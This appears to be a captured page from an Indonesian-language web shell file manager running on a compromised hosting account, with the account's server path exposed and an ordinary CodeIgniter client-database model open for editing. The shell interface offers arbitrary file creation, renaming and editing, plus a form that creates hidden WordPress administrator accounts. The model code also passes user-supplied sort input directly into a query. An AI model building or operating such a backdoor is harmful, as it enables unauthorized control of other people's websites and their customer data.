📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/models
⬅️ Kembali ke folder sebelumnya
📄
Cliente.php
📄
Configuracion.php
📄
Panel.php
📄
Perfil.php
📄
Producto.php
📄
Servicio.php
📄
Usuario.php
📄
Venta.php
📄
index.html
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
Cliente.php
Configuracion.php
Panel.php
Perfil.php
Producto.php
Servicio.php
Usuario.php
Venta.php
index.html
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: Cliente.php
<?php class Cliente extends CI_Model { public function obtenerTodos() { $query = $this->db->get('clientes'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function obtenerTodosLosClientesActivos() { $this->db->where("estado_cli", 1); $query = $this->db->get('clientes'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function insertar($datosTipo) { return $this->db->insert('clientes', $datosTipo); } public function obtenerPorId($id) { $this->db->where("id_cli", $id); $query = $this->db->get('clientes'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } public function eliminar($id) { try { $this->db->where("id_cli", $id); return $this->db->delete("clientes"); } catch (Exception $e) { echo $e; } } public function actualizar($id, $datosEditados) { $this->db->where("id_cli", $id); return $this->db->update("clientes", $datosEditados); } public function sumaDeClientesActivos() { $this->db->where("estado_cli", 1); $this->db->from('clientes'); return $this->db->count_all_results(); } public function sumaDeClientesInactivos() { $this->db->where("estado_cli", 0); $this->db->from('clientes'); return $this->db->count_all_results(); } public function importar($datosCliente) { return $this->db->insert_batch('clientes', $datosCliente); } var $table = 'clientes'; var $column_order = array('id_cli', 'nombre_cli', 'apellido_cli', 'telefono_cli', 'correo_cli', 'estado_cli'); var $order = array('id_cli', 'nombre_cli', 'apellido_cli', 'telefono_cli', 'correo_cli', 'estado_cli'); private function _get_data_query() { $this->db->from($this->table); if (isset($_POST['search']['value'])) { $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('correo_cli', $_POST['search']['value']); $this->db->or_like('estado_cli', $_POST['search']['value']); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } private function _get_data_query_activos() { $this->db->from($this->table); if (isset($_POST['search']['value'])) { $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('correo_cli', $_POST['search']['value']); $this->db->or_like('estado_cli', $_POST['search']['value']); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } public function obtenerTodosJson() { $this->_get_data_query(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function obtenerActivosJson() { $this->_get_data_query_activos(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data() { $this->_get_data_query(); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data() { $this->db->from($this->table); return $this->db->count_all_results(); } }
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup